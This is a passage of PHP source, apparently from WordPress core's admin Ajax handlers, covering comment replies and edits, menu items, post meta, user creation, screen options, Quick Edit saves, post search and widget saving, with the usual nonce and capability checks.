 * @since 3.1.0
 *
 * @param string $action Action to perform.
 */
function wp_ajax_replyto_comment( $action ) {
	if ( empty( $action ) ) {
		$action = 'replyto-comment';
	}

check_ajax_referer( $action, '_ajax_nonce-replyto-comment' );

$comment_post_ID = (int) $_POST['comment_post_ID'];
	$post            = get_post( $comment_post_ID );

if ( ! $post ) {
		wp_die( -1 );
	}

if ( ! current_user_can( 'edit_post', $comment_post_ID ) ) {
		wp_die( -1 );
	}

if ( empty( $post->post_status ) ) {
		wp_die( 1 );
	} elseif ( in_array( $post->post_status, array( 'draft', 'pending', 'trash' ), true ) ) {
		wp_die( __( 'Error: You can&#8217;t reply to a comment on a draft post.' ) );
	}

$user = wp_get_current_user();

if ( $user->exists() ) {
		$user_ID              = $user->ID;
		$comment_author       = wp_slash( $user->display_name );
		$comment_author_email = wp_slash( $user->user_email );
		$comment_author_url   = wp_slash( $user->user_url );
		$comment_content      = trim( $_POST['content'] );
		$comment_type         = isset( $_POST['comment_type'] ) ? trim( $_POST['comment_type'] ) : 'comment';

if ( current_user_can( 'unfiltered_html' ) ) {
			if ( ! isset( $_POST['_wp_unfiltered_html_comment'] ) ) {
				$_POST['_wp_unfiltered_html_comment'] = '';
			}

if ( wp_create_nonce( 'unfiltered-html-comment' ) != $_POST['_wp_unfiltered_html_comment'] ) {
				kses_remove_filters(); // Start with a clean slate.
				kses_init_filters();   // Set up the filters.
				remove_filter( 'pre_comment_content', 'wp_filter_post_kses' );
				add_filter( 'pre_comment_content', 'wp_filter_kses' );
			}
		}
	} else {
		wp_die( __( 'Sorry, you must be logged in to reply to a comment.' ) );
	}

if ( '' === $comment_content ) {
		wp_die( __( 'Error: Please type your comment text.' ) );
	}

$comment_parent = 0;

if ( isset( $_POST['comment_ID'] ) ) {
		$comment_parent = absint( $_POST['comment_ID'] );
	}

$comment_auto_approved = false;
	$commentdata           = compact( 'comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type', 'comment_parent', 'user_ID' );

// Automatically approve parent comment.
	if ( ! empty( $_POST['approve_parent'] ) ) {
		$parent = get_comment( $comment_parent );

if ( $parent && '0' === $parent->comment_approved && $parent->comment_post_ID == $comment_post_ID ) {
			if ( ! current_user_can( 'edit_comment', $parent->comment_ID ) ) {
				wp_die( -1 );
			}

if ( wp_set_comment_status( $parent, 'approve' ) ) {
				$comment_auto_approved = true;
			}
		}
	}

$comment_id = wp_new_comment( $commentdata );

if ( is_wp_error( $comment_id ) ) {
		wp_die( $comment_id->get_error_message() );
	}

$comment = get_comment( $comment_id );

if ( ! $comment ) {
		wp_die( 1 );
	}

$position = ( isset( $_POST['position'] ) && (int) $_POST['position'] ) ? (int) $_POST['position'] : '-1';

ob_start();
	if ( isset( $_REQUEST['mode'] ) && 'dashboard' === $_REQUEST['mode'] ) {
		require_once ABSPATH . 'wp-admin/includes/dashboard.php';
		_wp_dashboard_recent_comments_row( $comment );
	} else {
		if ( isset( $_REQUEST['mode'] ) && 'single' === $_REQUEST['mode'] ) {
			$wp_list_table = _get_list_table( 'WP_Post_Comments_List_Table', array( 'screen' => 'edit-comments' ) );
		} else {
			$wp_list_table = _get_list_table( 'WP_Comments_List_Table', array( 'screen' => 'edit-comments' ) );
		}
		$wp_list_table->single_row( $comment );
	}
	$comment_list_item = ob_get_clean();

$response = array(
		'what'     => 'comment',
		'id'       => $comment->comment_ID,
		'data'     => $comment_list_item,
		'position' => $position,
	);

$counts                   = wp_count_comments();
	$response['supplemental'] = array(
		'in_moderation'        => $counts->moderated,
		'i18n_comments_text'   => sprintf(
			/* translators: %s: Number of comments. */
			_n( '%s Comment', '%s Comments', $counts->approved ),
			number_format_i18n( $counts->approved )
		),
		'i18n_moderation_text' => sprintf(
			/* translators: %s: Number of comments. */
			_n( '%s Comment in moderation', '%s Comments in moderation', $counts->moderated ),
			number_format_i18n( $counts->moderated )
		),
	);

if ( $comment_auto_approved ) {
		$response['supplemental']['parent_approved'] = $parent->comment_ID;
		$response['supplemental']['parent_post_id']  = $parent->comment_post_ID;
	}

$x = new WP_Ajax_Response();
	$x->add( $response );
	$x->send();
}

/**
 * Ajax handler for editing a comment.
 *
 * @since 3.1.0
 */
function wp_ajax_edit_comment() {
	check_ajax_referer( 'replyto-comment', '_ajax_nonce-replyto-comment' );

$comment_id = (int) $_POST['comment_ID'];

if ( ! current_user_can( 'edit_comment', $comment_id ) ) {
		wp_die( -1 );
	}

if ( '' === $_POST['content'] ) {
		wp_die( __( 'Error: Please type your comment text.' ) );
	}

if ( isset( $_POST['status'] ) ) {
		$_POST['comment_status'] = $_POST['status'];
	}

$updated = edit_comment();
	if ( is_wp_error( $updated ) ) {
		wp_die( $updated->get_error_message() );
	}

$position      = ( isset( $_POST['position'] ) && (int) $_POST['position'] ) ? (int) $_POST['position'] : '-1';
	$checkbox      = ( isset( $_POST['checkbox'] ) && true == $_POST['checkbox'] ) ? 1 : 0;
	$wp_list_table = _get_list_table( $checkbox ? 'WP_Comments_List_Table' : 'WP_Post_Comments_List_Table', array( 'screen' => 'edit-comments' ) );

$comment = get_comment( $comment_id );

if ( empty( $comment->comment_ID ) ) {
		wp_die( -1 );
	}

ob_start();
	$wp_list_table->single_row( $comment );
	$comment_list_item = ob_get_clean();

$x = new WP_Ajax_Response();

$x->add(
		array(
			'what'     => 'edit_comment',
			'id'       => $comment->comment_ID,
			'data'     => $comment_list_item,
			'position' => $position,
		)
	);

$x->send();
}

/**
 * Ajax handler for adding a menu item.
 *
 * @since 3.1.0
 */
function wp_ajax_add_menu_item() {
	check_ajax_referer( 'add-menu_item', 'menu-settings-column-nonce' );

if ( ! current_user_can( 'edit_theme_options' ) ) {
		wp_die( -1 );
	}

require_once ABSPATH . 'wp-admin/includes/nav-menu.php';

// For performance reasons, we omit some object properties from the checklist.
	// The following is a hacky way to restore them when adding non-custom items.
	$menu_items_data = array();

foreach ( (array) $_POST['menu-item'] as $menu_item_data ) {
		if (
			! empty( $menu_item_data['menu-item-type'] ) &&
			'custom' !== $menu_item_data['menu-item-type'] &&
			! empty( $menu_item_data['menu-item-object-id'] )
		) {
			switch ( $menu_item_data['menu-item-type'] ) {
				case 'post_type':
					$_object = get_post( $menu_item_data['menu-item-object-id'] );
					break;

case 'post_type_archive':
					$_object = get_post_type_object( $menu_item_data['menu-item-object'] );
					break;

case 'taxonomy':
					$_object = get_term( $menu_item_data['menu-item-object-id'], $menu_item_data['menu-item-object'] );
					break;
			}

$_menu_items = array_map( 'wp_setup_nav_menu_item', array( $_object ) );
			$_menu_item  = reset( $_menu_items );

// Restore the missing menu item properties.
			$menu_item_data['menu-item-description'] = $_menu_item->description;
		}

$menu_items_data[] = $menu_item_data;
	}

$item_ids = wp_save_nav_menu_items( 0, $menu_items_data );
	if ( is_wp_error( $item_ids ) ) {
		wp_die( 0 );
	}

$menu_items = array();

foreach ( (array) $item_ids as $menu_item_id ) {
		$menu_obj = get_post( $menu_item_id );

if ( ! empty( $menu_obj->ID ) ) {
			$menu_obj        = wp_setup_nav_menu_item( $menu_obj );
			$menu_obj->title = empty( $menu_obj->title ) ? __( 'Menu Item' ) : $menu_obj->title;
			$menu_obj->label = $menu_obj->title; // Don't show "(pending)" in ajax-added items.
			$menu_items[]    = $menu_obj;
		}
	}

/** This filter is documented in wp-admin/includes/nav-menu.php */
	$walker_class_name = apply_filters( 'wp_edit_nav_menu_walker', 'Walker_Nav_Menu_Edit', $_POST['menu'] );

if ( ! class_exists( $walker_class_name ) ) {
		wp_die( 0 );
	}

if ( ! empty( $menu_items ) ) {
		$args = array(
			'after'       => '',
			'before'      => '',
			'link_after'  => '',
			'link_before' => '',
			'walker'      => new $walker_class_name,
		);

echo walk_nav_menu_tree( $menu_items, 0, (object) $args );
	}

wp_die();
}

/**
 * Ajax handler for adding meta.
 *
 * @since 3.1.0
 */
function wp_ajax_add_meta() {
	check_ajax_referer( 'add-meta', '_ajax_nonce-add-meta' );
	$c    = 0;
	$pid  = (int) $_POST['post_id'];
	$post = get_post( $pid );

if ( isset( $_POST['metakeyselect'] ) || isset( $_POST['metakeyinput'] ) ) {
		if ( ! current_user_can( 'edit_post', $pid ) ) {
			wp_die( -1 );
		}

if ( isset( $_POST['metakeyselect'] ) && '#NONE#' === $_POST['metakeyselect'] && empty( $_POST['metakeyinput'] ) ) {
			wp_die( 1 );
		}

// If the post is an autodraft, save the post as a draft and then attempt to save the meta.
		if ( 'auto-draft' === $post->post_status ) {
			$post_data                = array();
			$post_data['action']      = 'draft'; // Warning fix.
			$post_data['post_ID']     = $pid;
			$post_data['post_type']   = $post->post_type;
			$post_data['post_status'] = 'draft';
			$now                      = time();
			/* translators: 1: Post creation date, 2: Post creation time. */
			$post_data['post_title'] = sprintf( __( 'Draft created on %1$s at %2$s' ), gmdate( __( 'F j, Y' ), $now ), gmdate( __( 'g:i a' ), $now ) );

$pid = edit_post( $post_data );

if ( $pid ) {
				if ( is_wp_error( $pid ) ) {
					$x = new WP_Ajax_Response(
						array(
							'what' => 'meta',
							'data' => $pid,
						)
					);
					$x->send();
				}

$mid = add_meta( $pid );
				if ( ! $mid ) {
					wp_die( __( 'Please provide a custom field value.' ) );
				}
			} else {
				wp_die( 0 );
			}
		} else {
			$mid = add_meta( $pid );
			if ( ! $mid ) {
				wp_die( __( 'Please provide a custom field value.' ) );
			}
		}

$meta = get_metadata_by_mid( 'post', $mid );
		$pid  = (int) $meta->post_id;
		$meta = get_object_vars( $meta );

$x = new WP_Ajax_Response(
			array(
				'what'         => 'meta',
				'id'           => $mid,
				'data'         => _list_meta_row( $meta, $c ),
				'position'     => 1,
				'supplemental' => array( 'postid' => $pid ),
			)
		);
	} else { // Update?
		$mid   = (int) key( $_POST['meta'] );
		$key   = wp_unslash( $_POST['meta'][ $mid ]['key'] );
		$value = wp_unslash( $_POST['meta'][ $mid ]['value'] );

if ( '' === trim( $key ) ) {
			wp_die( __( 'Please provide a custom field name.' ) );
		}

$meta = get_metadata_by_mid( 'post', $mid );

if ( ! $meta ) {
			wp_die( 0 ); // If meta doesn't exist.
		}

if (
			is_protected_meta( $meta->meta_key, 'post' ) || is_protected_meta( $key, 'post' ) ||
			! current_user_can( 'edit_post_meta', $meta->post_id, $meta->meta_key ) ||
			! current_user_can( 'edit_post_meta', $meta->post_id, $key )
		) {
			wp_die( -1 );
		}

if ( $meta->meta_value != $value || $meta->meta_key != $key ) {
			$u = update_metadata_by_mid( 'post', $mid, $value, $key );
			if ( ! $u ) {
				wp_die( 0 ); // We know meta exists; we also know it's unchanged (or DB error, in which case there are bigger problems).
			}
		}

$x = new WP_Ajax_Response(
			array(
				'what'         => 'meta',
				'id'           => $mid,
				'old_id'       => $mid,
				'data'         => _list_meta_row(
					array(
						'meta_key'   => $key,
						'meta_value' => $value,
						'meta_id'    => $mid,
					),
					$c
				),
				'position'     => 0,
				'supplemental' => array( 'postid' => $meta->post_id ),
			)
		);
	}
	$x->send();
}

/**
 * Ajax handler for adding a user.
 *
 * @since 3.1.0
 *
 * @param string $action Action to perform.
 */
function wp_ajax_add_user( $action ) {
	if ( empty( $action ) ) {
		$action = 'add-user';
	}

check_ajax_referer( $action );

if ( ! current_user_can( 'create_users' ) ) {
		wp_die( -1 );
	}

$user_id = edit_user();

if ( ! $user_id ) {
		wp_die( 0 );
	} elseif ( is_wp_error( $user_id ) ) {
		$x = new WP_Ajax_Response(
			array(
				'what' => 'user',
				'id'   => $user_id,
			)
		);
		$x->send();
	}

$user_object   = get_userdata( $user_id );
	$wp_list_table = _get_list_table( 'WP_Users_List_Table' );

$role = current( $user_object->roles );

$x = new WP_Ajax_Response(
		array(
			'what'         => 'user',
			'id'           => $user_id,
			'data'         => $wp_list_table->single_row( $user_object, '', $role ),
			'supplemental' => array(
				'show-link' => sprintf(
					/* translators: %s: The new user. */
					__( 'User %s added' ),
					'<a href="#user-' . $user_id . '">' . $user_object->user_login . '</a>'
				),
				'role'      => $role,
			),
		)
	);
	$x->send();
}

/**
 * Ajax handler for closed post boxes.
 *
 * @since 3.1.0
 */
function wp_ajax_closed_postboxes() {
	check_ajax_referer( 'closedpostboxes', 'closedpostboxesnonce' );
	$closed = isset( $_POST['closed'] ) ? explode( ',', $_POST['closed'] ) : array();
	$closed = array_filter( $closed );

$hidden = isset( $_POST['hidden'] ) ? explode( ',', $_POST['hidden'] ) : array();
	$hidden = array_filter( $hidden );

$page = isset( $_POST['page'] ) ? $_POST['page'] : '';

if ( sanitize_key( $page ) != $page ) {
		wp_die( 0 );
	}

$user = wp_get_current_user();
	if ( ! $user ) {
		wp_die( -1 );
	}

if ( is_array( $closed ) ) {
		update_user_option( $user->ID, "closedpostboxes_$page", $closed, true );
	}

if ( is_array( $hidden ) ) {
		// Postboxes that are always shown.
		$hidden = array_diff( $hidden, array( 'submitdiv', 'linksubmitdiv', 'manage-menu', 'create-menu' ) );
		update_user_option( $user->ID, "metaboxhidden_$page", $hidden, true );
	}

wp_die( 1 );
}

/**
 * Ajax handler for hidden columns.
 *
 * @since 3.1.0
 */
function wp_ajax_hidden_columns() {
	check_ajax_referer( 'screen-options-nonce', 'screenoptionnonce' );
	$page = isset( $_POST['page'] ) ? $_POST['page'] : '';

if ( sanitize_key( $page ) != $page ) {
		wp_die( 0 );
	}

$user = wp_get_current_user();
	if ( ! $user ) {
		wp_die( -1 );
	}

$hidden = ! empty( $_POST['hidden'] ) ? explode( ',', $_POST['hidden'] ) : array();
	update_user_option( $user->ID, "manage{$page}columnshidden", $hidden, true );

wp_die( 1 );
}

/**
 * Ajax handler for updating whether to display the welcome panel.
 *
 * @since 3.1.0
 */
function wp_ajax_update_welcome_panel() {
	check_ajax_referer( 'welcome-panel-nonce', 'welcomepanelnonce' );

if ( ! current_user_can( 'edit_theme_options' ) ) {
		wp_die( -1 );
	}

update_user_meta( get_current_user_id(), 'show_welcome_panel', empty( $_POST['visible'] ) ? 0 : 1 );

wp_die( 1 );
}

/**
 * Ajax handler for retrieving menu meta boxes.
 *
 * @since 3.1.0
 */
function wp_ajax_menu_get_metabox() {
	if ( ! current_user_can( 'edit_theme_options' ) ) {
		wp_die( -1 );
	}

require_once ABSPATH . 'wp-admin/includes/nav-menu.php';

if ( isset( $_POST['item-type'] ) && 'post_type' === $_POST['item-type'] ) {
		$type     = 'posttype';
		$callback = 'wp_nav_menu_item_post_type_meta_box';
		$items    = (array) get_post_types( array( 'show_in_nav_menus' => true ), 'object' );
	} elseif ( isset( $_POST['item-type'] ) && 'taxonomy' === $_POST['item-type'] ) {
		$type     = 'taxonomy';
		$callback = 'wp_nav_menu_item_taxonomy_meta_box';
		$items    = (array) get_taxonomies( array( 'show_ui' => true ), 'object' );
	}

if ( ! empty( $_POST['item-object'] ) && isset( $items[ $_POST['item-object'] ] ) ) {
		$menus_meta_box_object = $items[ $_POST['item-object'] ];

/** This filter is documented in wp-admin/includes/nav-menu.php */
		$item = apply_filters( 'nav_menu_meta_box_object', $menus_meta_box_object );

$box_args = array(
			'id'       => 'add-' . $item->name,
			'title'    => $item->labels->name,
			'callback' => $callback,
			'args'     => $item,
		);

ob_start();
		$callback( null, $box_args );

$markup = ob_get_clean();

echo wp_json_encode(
			array(
				'replace-id' => $type . '-' . $item->name,
				'markup'     => $markup,
			)
		);
	}

wp_die();
}

/**
 * Ajax handler for internal linking.
 *
 * @since 3.1.0
 */
function wp_ajax_wp_link_ajax() {
	check_ajax_referer( 'internal-linking', '_ajax_linking_nonce' );

$args = array();

if ( isset( $_POST['search'] ) ) {
		$args['s'] = wp_unslash( $_POST['search'] );
	}

if ( isset( $_POST['term'] ) ) {
		$args['s'] = wp_unslash( $_POST['term'] );
	}

$args['pagenum'] = ! empty( $_POST['page'] ) ? absint( $_POST['page'] ) : 1;

if ( ! class_exists( '_WP_Editors', false ) ) {
		require ABSPATH . WPINC . '/class-wp-editor.php';
	}

$results = _WP_Editors::wp_link_query( $args );

if ( ! isset( $results ) ) {
		wp_die( 0 );
	}

echo wp_json_encode( $results );
	echo "\n";

wp_die();
}

/**
 * Ajax handler for menu locations save.
 *
 * @since 3.1.0
 */
function wp_ajax_menu_locations_save() {
	if ( ! current_user_can( 'edit_theme_options' ) ) {
		wp_die( -1 );
	}

check_ajax_referer( 'add-menu_item', 'menu-settings-column-nonce' );

if ( ! isset( $_POST['menu-locations'] ) ) {
		wp_die( 0 );
	}

set_theme_mod( 'nav_menu_locations', array_map( 'absint', $_POST['menu-locations'] ) );
	wp_die( 1 );
}

/**
 * Ajax handler for saving the meta box order.
 *
 * @since 3.1.0
 */
function wp_ajax_meta_box_order() {
	check_ajax_referer( 'meta-box-order' );
	$order        = isset( $_POST['order'] ) ? (array) $_POST['order'] : false;
	$page_columns = isset( $_POST['page_columns'] ) ? $_POST['page_columns'] : 'auto';

if ( 'auto' !== $page_columns ) {
		$page_columns = (int) $page_columns;
	}

$page = isset( $_POST['page'] ) ? $_POST['page'] : '';

if ( sanitize_key( $page ) != $page ) {
		wp_die( 0 );
	}

$user = wp_get_current_user();
	if ( ! $user ) {
		wp_die( -1 );
	}

if ( $order ) {
		update_user_option( $user->ID, "meta-box-order_$page", $order, true );
	}

if ( $page_columns ) {
		update_user_option( $user->ID, "screen_layout_$page", $page_columns, true );
	}

wp_send_json_success();
}

/**
 * Ajax handler for menu quick searching.
 *
 * @since 3.1.0
 */
function wp_ajax_menu_quick_search() {
	if ( ! current_user_can( 'edit_theme_options' ) ) {
		wp_die( -1 );
	}

require_once ABSPATH . 'wp-admin/includes/nav-menu.php';

_wp_ajax_menu_quick_search( $_POST );

wp_die();
}

/**
 * Ajax handler to retrieve a permalink.
 *
 * @since 3.1.0
 */
function wp_ajax_get_permalink() {
	check_ajax_referer( 'getpermalink', 'getpermalinknonce' );
	$post_id = isset( $_POST['post_id'] ) ? intval( $_POST['post_id'] ) : 0;
	wp_die( get_preview_post_link( $post_id ) );
}

/**
 * Ajax handler to retrieve a sample permalink.
 *
 * @since 3.1.0
 */
function wp_ajax_sample_permalink() {
	check_ajax_referer( 'samplepermalink', 'samplepermalinknonce' );
	$post_id = isset( $_POST['post_id'] ) ? intval( $_POST['post_id'] ) : 0;
	$title   = isset( $_POST['new_title'] ) ? $_POST['new_title'] : '';
	$slug    = isset( $_POST['new_slug'] ) ? $_POST['new_slug'] : null;
	wp_die( get_sample_permalink_html( $post_id, $title, $slug ) );
}

/**
 * Ajax handler for Quick Edit saving a post from a list table.
 *
 * @since 3.1.0
 *
 * @global string $mode List table view mode.
 */
function wp_ajax_inline_save() {
	global $mode;

check_ajax_referer( 'inlineeditnonce', '_inline_edit' );

if ( ! isset( $_POST['post_ID'] ) || ! (int) $_POST['post_ID'] ) {
		wp_die();
	}

$post_ID = (int) $_POST['post_ID'];

if ( 'page' === $_POST['post_type'] ) {
		if ( ! current_user_can( 'edit_page', $post_ID ) ) {
			wp_die( __( 'Sorry, you are not allowed to edit this page.' ) );
		}
	} else {
		if ( ! current_user_can( 'edit_post', $post_ID ) ) {
			wp_die( __( 'Sorry, you are not allowed to edit this post.' ) );
		}
	}

$last = wp_check_post_lock( $post_ID );
	if ( $last ) {
		$last_user      = get_userdata( $last );
		$last_user_name = $last_user ? $last_user->display_name : __( 'Someone' );

/* translators: %s: User's display name. */
		$msg_template = __( 'Saving is disabled: %s is currently editing this post.' );

if ( 'page' === $_POST['post_type'] ) {
			/* translators: %s: User's display name. */
			$msg_template = __( 'Saving is disabled: %s is currently editing this page.' );
		}

printf( $msg_template, esc_html( $last_user_name ) );
		wp_die();
	}

$data = &$_POST;

$post = get_post( $post_ID, ARRAY_A );

// Since it's coming from the database.
	$post = wp_slash( $post );

$data['content'] = $post['post_content'];
	$data['excerpt'] = $post['post_excerpt'];

// Rename.
	$data['user_ID'] = get_current_user_id();

if ( isset( $data['post_parent'] ) ) {
		$data['parent_id'] = $data['post_parent'];
	}

// Status.
	if ( isset( $data['keep_private'] ) && 'private' === $data['keep_private'] ) {
		$data['visibility']  = 'private';
		$data['post_status'] = 'private';
	} else {
		$data['post_status'] = $data['_status'];
	}

if ( empty( $data['comment_status'] ) ) {
		$data['comment_status'] = 'closed';
	}

if ( empty( $data['ping_status'] ) ) {
		$data['ping_status'] = 'closed';
	}

// Exclude terms from taxonomies that are not supposed to appear in Quick Edit.
	if ( ! empty( $data['tax_input'] ) ) {
		foreach ( $data['tax_input'] as $taxonomy => $terms ) {
			$tax_object = get_taxonomy( $taxonomy );
			/** This filter is documented in wp-admin/includes/class-wp-posts-list-table.php */
			if ( ! apply_filters( 'quick_edit_show_taxonomy', $tax_object->show_in_quick_edit, $taxonomy, $post['post_type'] ) ) {
				unset( $data['tax_input'][ $taxonomy ] );
			}
		}
	}

// Hack: wp_unique_post_slug() doesn't work for drafts, so we will fake that our post is published.
	if ( ! empty( $data['post_name'] ) && in_array( $post['post_status'], array( 'draft', 'pending' ), true ) ) {
		$post['post_status'] = 'publish';
		$data['post_name']   = wp_unique_post_slug( $data['post_name'], $post['ID'], $post['post_status'], $post['post_type'], $post['post_parent'] );
	}

// Update the post.
	edit_post();

$wp_list_table = _get_list_table( 'WP_Posts_List_Table', array( 'screen' => $_POST['screen'] ) );

$mode = 'excerpt' === $_POST['post_view'] ? 'excerpt' : 'list';

$level = 0;
	if ( is_post_type_hierarchical( $wp_list_table->screen->post_type ) ) {
		$request_post = array( get_post( $_POST['post_ID'] ) );
		$parent       = $request_post[0]->post_parent;

while ( $parent > 0 ) {
			$parent_post = get_post( $parent );
			$parent      = $parent_post->post_parent;
			$level++;
		}
	}

$wp_list_table->display_rows( array( get_post( $_POST['post_ID'] ) ), $level );

wp_die();
}

/**
 * Ajax handler for quick edit saving for a term.
 *
 * @since 3.1.0
 */
function wp_ajax_inline_save_tax() {
	check_ajax_referer( 'taxinlineeditnonce', '_inline_edit' );

$taxonomy = sanitize_key( $_POST['taxonomy'] );
	$tax      = get_taxonomy( $taxonomy );

if ( ! $tax ) {
		wp_die( 0 );
	}

if ( ! isset( $_POST['tax_ID'] ) || ! (int) $_POST['tax_ID'] ) {
		wp_die( -1 );
	}

$id = (int) $_POST['tax_ID'];

if ( ! current_user_can( 'edit_term', $id ) ) {
		wp_die( -1 );
	}

$wp_list_table = _get_list_table( 'WP_Terms_List_Table', array( 'screen' => 'edit-' . $taxonomy ) );

$tag                  = get_term( $id, $taxonomy );
	$_POST['description'] = $tag->description;

$updated = wp_update_term( $id, $taxonomy, $_POST );

if ( $updated && ! is_wp_error( $updated ) ) {
		$tag = get_term( $updated['term_id'], $taxonomy );
		if ( ! $tag || is_wp_error( $tag ) ) {
			if ( is_wp_error( $tag ) && $tag->get_error_message() ) {
				wp_die( $tag->get_error_message() );
			}
			wp_die( __( 'Item not updated.' ) );
		}
	} else {
		if ( is_wp_error( $updated ) && $updated->get_error_message() ) {
			wp_die( $updated->get_error_message() );
		}
		wp_die( __( 'Item not updated.' ) );
	}

$level  = 0;
	$parent = $tag->parent;

while ( $parent > 0 ) {
		$parent_tag = get_term( $parent, $taxonomy );
		$parent     = $parent_tag->parent;
		$level++;
	}

$wp_list_table->single_row( $tag, $level );
	wp_die();
}

/**
 * Ajax handler for querying posts for the Find Posts modal.
 *
 * @see window.findPosts
 *
 * @since 3.1.0
 */
function wp_ajax_find_posts() {
	check_ajax_referer( 'find-posts' );

$post_types = get_post_types( array( 'public' => true ), 'objects' );
	unset( $post_types['attachment'] );

$s    = wp_unslash( $_POST['ps'] );
	$args = array(
		'post_type'      => array_keys( $post_types ),
		'post_status'    => 'any',
		'posts_per_page' => 50,
	);

if ( '' !== $s ) {
		$args['s'] = $s;
	}

$posts = get_posts( $args );

if ( ! $posts ) {
		wp_send_json_error( __( 'No items found.' ) );
	}

$html = '<table class="widefat"><thead><tr><th class="found-radio"><br /></th><th>' . __( 'Title' ) . '</th><th class="no-break">' . __( 'Type' ) . '</th><th class="no-break">' . __( 'Date' ) . '</th><th class="no-break">' . __( 'Status' ) . '</th></tr></thead><tbody>';
	$alt  = '';
	foreach ( $posts as $post ) {
		$title = trim( $post->post_title ) ? $post->post_title : __( '(no title)' );
		$alt   = ( 'alternate' === $alt ) ? '' : 'alternate';

switch ( $post->post_status ) {
			case 'publish':
			case 'private':
				$stat = __( 'Published' );
				break;
			case 'future':
				$stat = __( 'Scheduled' );
				break;
			case 'pending':
				$stat = __( 'Pending Review' );
				break;
			case 'draft':
				$stat = __( 'Draft' );
				break;
		}

if ( '0000-00-00 00:00:00' === $post->post_date ) {
			$time = '';
		} else {
			/* translators: Date format in table columns, see https://www.php.net/date */
			$time = mysql2date( __( 'Y/m/d' ), $post->post_date );
		}

$html .= '<tr class="' . trim( 'found-posts ' . $alt ) . '"><td class="found-radio"><input type="radio" id="found-' . $post->ID . '" name="found_post_id" value="' . esc_attr( $post->ID ) . '"></td>';
		$html .= '<td><label for="found-' . $post->ID . '">' . esc_html( $title ) . '</label></td><td class="no-break">' . esc_html( $post_types[ $post->post_type ]->labels->singular_name ) . '</td><td class="no-break">' . esc_html( $time ) . '</td><td class="no-break">' . esc_html( $stat ) . ' </td></tr>' . "\n\n";
	}

$html .= '</tbody></table>';

wp_send_json_success( $html );
}

/**
 * Ajax handler for saving the widgets order.
 *
 * @since 3.1.0
 */
function wp_ajax_widgets_order() {
	check_ajax_referer( 'save-sidebar-widgets', 'savewidgets' );

if ( ! current_user_can( 'edit_theme_options' ) ) {
		wp_die( -1 );
	}

unset( $_POST['savewidgets'], $_POST['action'] );

// Save widgets order for all sidebars.
	if ( is_array( $_POST['sidebars'] ) ) {
		$sidebars = array();

foreach ( wp_unslash( $_POST['sidebars'] ) as $key => $val ) {
			$sb = array();

if ( ! empty( $val ) ) {
				$val = explode( ',', $val );

foreach ( $val as $k => $v ) {
					if ( strpos( $v, 'widget-' ) === false ) {
						continue;
					}

$sb[ $k ] = substr( $v, strpos( $v, '_' ) + 1 );
				}
			}
			$sidebars[ $key ] = $sb;
		}

wp_set_sidebars_widgets( $sidebars );
		wp_die( 1 );
	}

wp_die( -1 );
}

/**
 * Ajax handler for saving a widget.
 *
 * @since 3.1.0
 *
 * @global array $wp_registered_widgets
 * @global array $wp_registered_widget_controls
 * @global array $wp_registered_widget_updates
 */
function wp_ajax_save_widget() {
	global $wp_registered_widgets, $wp_registered_widget_controls, $wp_registered_widget_updates;

check_ajax_referer( 'save-sidebar-widgets', 'savewidgets' );

if ( ! current_user_can( 'edit_theme_options' ) || ! isset( $_POST['id_base'] ) ) {
		wp_die( -1 );
	}

unset( $_POST['savewidgets'], $_POST['action'] );

/**
	 * Fires early when editing the widgets displayed in sidebars.
	 *
	 * @since 2.8.0
	 */
	do_action( 'load-widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

/**
	 * Fires early when editing the widgets displayed in sidebars.
	 *
	 * @since 2.8.0
	 */
	do_action( 'widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

/** This action is documented in wp-admin/widgets.php */
	do_action( 'sidebar_admin_setup' );

$id_base      = wp_unslash( $_POST['id_base'] );
	$widget_id    = wp_unslash( $_POST['widget-id'] );
	$sidebar_id   = $_POST['sidebar'];
	$multi_number = ! empty( $_POST['multi_number'] ) ? (int) $_POST['multi_number'] : 0;
	$settings     = isset( $_POST[ 'widget-' . $id_base ] ) && is_array( $_POST[ 'widget-' . $id_base ] ) ? $_POST[ 'widget-' . $id_base ] : false;
	$error        = '<p>' . __( 'An error has occurred. Please reload the page and try again.' ) . '</p>';

$sidebars = wp_get_sidebars_widgets();
	$sidebar  = isset( $sidebars[ $sidebar_id ] ) ? $sidebars[ $sidebar_id ] : array();

// Delete.
	if ( isset( $_POST['delete_widget'] ) && $_POST['delete_widget'] ) {

if ( ! isset( $wp_registered_widgets[ $widget_id ] ) ) {
			wp_die( $error );
		}

$sidebar = array_diff( $sidebar, array( $widget_id ) );
		$_POST   = array(
			'sidebar'            => $sidebar_id,
			'widget-' . $id_base => array(),
			'the-widget-id'      => $widget_id,
			'delete_widget'      => '1',
		);

/** This action is documented in wp-admin/widgets.php */
		do_action( 'delete_widget', $widget_id, $sidebar_id, $id_base );

} elseif ( $settings && preg_match( '/__i__|%i%/', key( $settings ) ) ) {
		if ( ! $multi_number ) {
			wp_die( $error );
		}

$_POST[ 'widget-' . $id_base ] = array( $multi_number => reset( $settings ) );
		$widget_id                     = $id_base . '-' . $multi_number;
		$sidebar[]                     = $widget_id;
	}
	$_POST['widget-id'] = $sidebar;

foreach ( (array) $wp_registered_widget_updates as $name => $control ) {

if ( $name == $id_base ) {
			if ( ! is_callable( $control['callback'] ) ) {
				continue;
			}

ob_start();
				call_user_func_array( $control['callback'], $control['params'] );
			ob_end_clean();
			break;
		}
	}

if ( isset( $_POST['delete_widget'] ) && $_POST['delete_widget'] ) {
		$sidebars[ $sidebar_id ] = $sidebar;
		wp_set_sidebars_widgets( $sidebars );
		echo "deleted:$widget_id";
		wp_die();
	}

if ( ! empty( $_POST['add_new'] ) ) {
		wp_die();
	}

$form = $wp_registered_widget_controls[ $widget_id ];
	if ( $form ) {
		call_user_func_array( $form['callback'], $form['params'] );
	}

wp_die();
}

/**
 * Ajax handler for saving a widget.
 *
 * @since 3.9.0
 *
 * @global WP_Customize_Manager $wp_customize
 */
function wp_ajax_update_widget() {
	global $wp_customize;
	$wp_customize->widgets->wp_ajax_update_widget();
}

/**
 * Ajax handler for removing inactive widgets.
 *
 * @since 4.4.0
 */
function wp_ajax_delete_inactive_widgets() {
	check_ajax_referer( 'remove-inactive-widgets', 'removeinactivewidgets' );

if ( ! current_user_can( 'edit_theme_options' ) ) {
		wp_die( -1 );
	}

unset( $_POST['removeinactivewidgets'], $_POST['action'] );
	/** This action is documented in wp-admin/includes/ajax-actions.php */
